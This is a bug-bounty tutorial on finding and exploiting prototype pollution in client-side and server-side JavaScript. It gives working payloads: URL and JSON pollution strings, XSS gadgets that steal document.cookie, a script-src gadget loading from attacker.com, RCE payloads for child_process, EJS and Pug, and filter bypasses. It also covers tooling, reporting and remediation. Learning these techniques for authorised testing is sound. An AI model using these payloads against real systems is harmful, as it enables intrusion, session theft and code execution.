Prototype Pollution for Bug Bounty in 2026: How to Find and Exploit Prototype Pollution in Real Targets
Prototype pollution is one of the most underrated vulnerability classes in bug bounty. Most hunters skip it because the impact isn't always obvious — polluting Object.prototype doesn't crash anything by itself. But chain it with the right gadget and you get XSS, privilege escalation, RCE, or authentication bypass. Programs are paying $5K–$50K+ for well-demonstrated prototype pollution chains.
This guide covers how prototype pollution actually works, how to find it in client-side and server-side JavaScript, how to discover exploitable gadgets, and how to write reports that get paid.
Key Takeaways
- Prototype pollution lets you inject properties into
Object.prototype, affecting every object in the application - Client-side prototype pollution chains into XSS through DOM gadgets in libraries like jQuery, Lodash, and sanitizers
- Server-side prototype pollution can bypass authentication, escalate privileges, or achieve RCE through
child_processgadgets - The vulnerability exists in recursive merge, deep clone, and path-assignment functions that don't filter
__proto__orconstructor.prototype - Automated detection is possible with Burp extensions and custom scripts, but gadget discovery still requires manual analysis
How Prototype Pollution Works
JavaScript uses prototypal inheritance. Every object inherits properties from Object.prototype. If an attacker can write to Object.prototype, every object in the application inherits the injected property — unless it already has that property defined directly.
// Normal behavior
let obj = {};
console.log(obj.isAdmin); // undefined
// After pollution
Object.prototype.isAdmin = true;
console.log(obj.isAdmin); // true — every object now has isAdmin
The vulnerability occurs when user input flows into a function that recursively assigns properties without filtering prototype-related keys.
The Dangerous Pattern
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Attacker input
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// Now every object has isAdmin = true
console.log({}.isAdmin); // true
Three Pollution Vectors
__proto__:{"__proto__": {"polluted": true}}constructor.prototype:{"constructor": {"prototype": {"polluted": true}}}- Nested path assignment: Functions that resolve dot-notation paths like
a.b.c— input__proto__.pollutedwrites to the prototype
Client-Side Prototype Pollution
Finding Pollution Sources
Client-side prototype pollution happens when URL parameters, hash fragments, or postMessage data flows into a vulnerable merge/set function.
URL-based vectors to test:
https://target.com/?__proto__[polluted]=true
https://target.com/?__proto__.polluted=true
https://target.com/#__proto__[polluted]=true
https://target.com/?constructor[prototype][polluted]=true
Quick detection — paste in browser console after loading the page with the payload:
console.log(Object.prototype.polluted); // "true" = vulnerable
Automated detection with Burp:
Use the "Server-Side Prototype Pollution Scanner" Burp extension (by Gareth Heyes / PortSwigger). For client-side, use "DOM Invader" in Burp's embedded browser — it has a dedicated prototype pollution mode that:
- Injects canary properties via URL parameters
- Scans the DOM for gadgets that consume those properties
- Reports exploitable chains automatically
Common Vulnerable Libraries
| Library | Vulnerable Function | Fixed In |
|---|---|---|
| Lodash | _.merge(), _.set(), _.defaultsDeep() | 4.17.12+ |
| jQuery | $.extend(true, ...) | 3.4.0+ |
| Hoek | merge(), applyToDefaults() | 5.0.3+ |
| minimist | Argument parsing | 1.2.6+ |
| qs | Query string parsing | 6.0.4+ |
| Mootools | Object.merge() | Still vulnerable in legacy |
Many targets run outdated versions. Check package.json in exposed source maps or use Wappalyzer/Retire.js to identify library versions.
Gadget Discovery — Turning Pollution Into XSS
Pollution alone is informational. You need a gadget — a code path that reads from Object.prototype and uses the value in a security-sensitive way (innerHTML, eval, src attribute, etc.).
Common gadgets:
// Gadget 1: innerHTML assignment
// If code does: element.innerHTML = config.template || defaults.template
// Pollute: __proto__[template]=<img src=x onerror=alert(1)>
// Gadget 2: script src
// If code does: script.src = options.cdnUrl + '/lib.js'
// Pollute: __proto__[cdnUrl]=https://attacker.com/evil
// Gadget 3: jQuery html()
// If code does: $(selector).html(settings.content)
// Pollute: __proto__[content]=<img src=x onerror=alert(1)>
// Gadget 4: eval/Function constructor
// If code does: new Function(config.handler)()
// Pollute: __proto__[handler]=alert(document.domain)
Systematic gadget hunting:
- Search JavaScript source for property accesses on config/options/settings objects
- Look for fallback patterns:
obj.prop || defaultValue— ifobj.propis undefined, it checks the prototype - Trace those values to sinks:
innerHTML,outerHTML,document.write,eval,Function(),setTimeout(string),src,href - Use DOM Invader's gadget scanner for automated discovery
Real-World Client-Side Chains
jQuery + URL pollution → XSS:
https://target.com/page?__proto__[innerHTML]=<img/src/onerror=alert(1)>
If the page uses $.extend(true, {}, userConfig) and later reads a property that flows to DOM insertion.
Lodash merge + template gadget:
https://target.com/?__proto__[template]=<img src=x onerror=alert(document.cookie)>
Server-Side Prototype Pollution
Server-side prototype pollution is harder to detect but often higher impact. The pollution happens in Node.js backend code, and the effects are invisible from the HTTP response unless you find the right gadget.
Detection Techniques
Blind detection — status code changes:
Send a JSON body with prototype pollution payloads and observe behavior changes:
{"__proto__": {"status": 510}}
If the server uses res.status(options.status || 200) and options doesn't have status defined, it'll inherit the polluted value — you'll get a 510 response.
Blind detection — JSON spaces:
{"__proto__": {"json spaces": 10}}
Express uses json spaces from app.settings to format JSON responses. If polluted, subsequent JSON responses will have 10-space indentation. This is a reliable detection technique because it's a known Express behavior.
Blind detection — content-type override:
{"__proto__": {"content-type": "text/html"}}
If Express response headers change to text/html, the prototype is polluted.
Blind detection — charset:
{"__proto__": {"charset": "utf-7"}}
Server-Side Gadgets
1. Authentication bypass:
// Server code
function checkRole(user) {
if (user.role === 'admin') {
return grantAdminAccess();
}
}
// If user object doesn't have 'role' defined explicitly:
// Pollute: {"__proto__": {"role": "admin"}}
// Now user.role resolves to "admin" via prototype
2. RCE via child_process:
// If the app spawns child processes:
const { execSync } = require('child_process');
execSync(command, options);
// The 'options' object inherits from Object.prototype
// Pollute shell and env to get RCE:
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
// Or via NODE_OPTIONS:
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}}}
3. RCE via EJS template engine:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
EJS uses outputFunctionName in template compilation. If polluted, the value is injected into generated code without sanitization.
4. Pug template RCE:
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
5. Handlebars RCE:
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
Combined with a crafted template, this enables prototype method access that leads to RCE.
Testing Methodology for Server-Side
- Identify endpoints that accept JSON input and merge it into objects (user profile updates, settings, preferences)
- Send the
json spacesdetection payload — check if response formatting changes - Send the
statusdetection payload — check for unexpected status codes - If pollution confirmed, enumerate gadgets based on the tech stack (Express, EJS, Pug, Handlebars, etc.)
- Test RCE gadgets in a local reproduction environment before submitting
Prototype Pollution via constructor.prototype
Some applications filter __proto__ but forget constructor.prototype:
{"constructor": {"prototype": {"polluted": true}}}
This works because:
let obj = {};
obj.constructor === Object; // true
obj.constructor.prototype === Object.prototype; // true
Always test both vectors. Many WAFs and input filters only block __proto__.
Prototype Pollution in GraphQL
GraphQL endpoints that accept arbitrary JSON input objects are common pollution targets:
mutation {
updateProfile(input: {
name: "test"
__proto__: { isAdmin: true }
})
}
Some GraphQL implementations strip __proto__ during parsing, but constructor.prototype often passes through.
Prototype Pollution in Merge/Clone Libraries
Beyond Lodash, check for pollution in:
- deepmerge — vulnerable in older versions
- defaults-deep — vulnerable
- merge-deep — vulnerable in older versions
- mixin-deep — vulnerable before 2.0.1
- set-value — vulnerable before 4.0.1
- dot-prop — vulnerable before 5.1.1
Use npm audit output (if accessible) or check package-lock.json in exposed source maps.
Bypassing Prototype Pollution Defenses
Frozen prototypes
If Object.freeze(Object.prototype) is used, direct pollution fails. But:
- Check if only
Object.prototypeis frozen —Array.prototype,String.prototypemay still be writable - Check if the freeze happens after your pollution vector executes (race condition)
Input sanitization bypass
// If __proto__ is stripped:
{"constructor": {"prototype": {"polluted": true}}}
// If both are stripped, try nested:
{"a": {"__proto__": {"polluted": true}}}
// Unicode bypass:
{"__pro\u0074o__": {"polluted": true}}
// Bracket notation in path-based assignment:
["__proto__"]["polluted"] = true
Content-Type tricks
Some parsers only apply __proto__ filtering for application/json but not for:
application/x-www-form-urlencodedwith nested bracket notation:__proto__[polluted]=truemultipart/form-datawith JSON fields
Tools
| Tool | Purpose |
|---|---|
| DOM Invader (Burp) | Client-side prototype pollution + gadget discovery |
| Server-Side Prototype Pollution Scanner (Burp) | Blind server-side detection |
| ppfuzz | Fuzzer for client-side prototype pollution |
| ppmap | Scans for known gadgets in client-side libraries |
| cdnjs-prototype-pollution | Database of known vulnerable CDN libraries |
Testing Checklist
- Test URL parameters with
__proto__[canary]=polluted— checkObject.prototype.canaryin console - Test hash fragment with same payloads
- Test JSON body endpoints with
{"__proto__": {"json spaces": 10}} - Test
constructor.prototypevector if__proto__is filtered - Check for outdated Lodash, jQuery, qs, minimist in source maps or exposed package files
- Use DOM Invader for automated client-side gadget scanning
- For confirmed pollution: identify gadgets (DOM sinks for client-side, template engines/child_process for server-side)
- Build full exploitation chain (pollution → gadget → impact)
- Test in isolated environment before submitting RCE chains
Writing the Report
Prototype pollution reports get downgraded or rejected when they don't demonstrate impact. Always chain to a concrete exploit.
Report structure:
- Title: "Prototype Pollution via [endpoint/parameter] Leading to [XSS/RCE/Auth Bypass]"
- Severity: Based on the chain impact, not the pollution alone
- Pollution + XSS → Medium to High
- Pollution + Auth bypass → High to Critical
- Pollution + RCE → Critical
- Pollution alone (no gadget) → Low/Informational (many programs won't pay)
- Steps to reproduce: Show the full chain — pollution source → gadget → impact
- Impact: Describe what an attacker achieves (session hijacking, admin access, code execution)
- Remediation: Recommend
Object.create(null)for config objects, input filtering for__proto__andconstructor, library updates,Object.freeze(Object.prototype)
Example title:
"Client-Side Prototype Pollution via URL Parameters Chaining to Stored XSS Through jQuery $.extend Gadget on /dashboard"
Related Guides
- XSS Hunting for Bug Bounty in 2026 — XSS is the most common prototype pollution chain target
- SSRF Hunting for Bug Bounty in 2026 — Server-side pollution can chain to SSRF
- Authentication Bypass for Bug Bounty in 2026 — Pollution-based auth bypass techniques
- Command Injection Hunting for Bug Bounty in 2026 — RCE via child_process gadgets
- GraphQL Injection for Bug Bounty in 2026 — Pollution via GraphQL input objects
- WebSocket Security Testing for Bug Bounty in 2026 — Another underexplored attack surface
Advertisement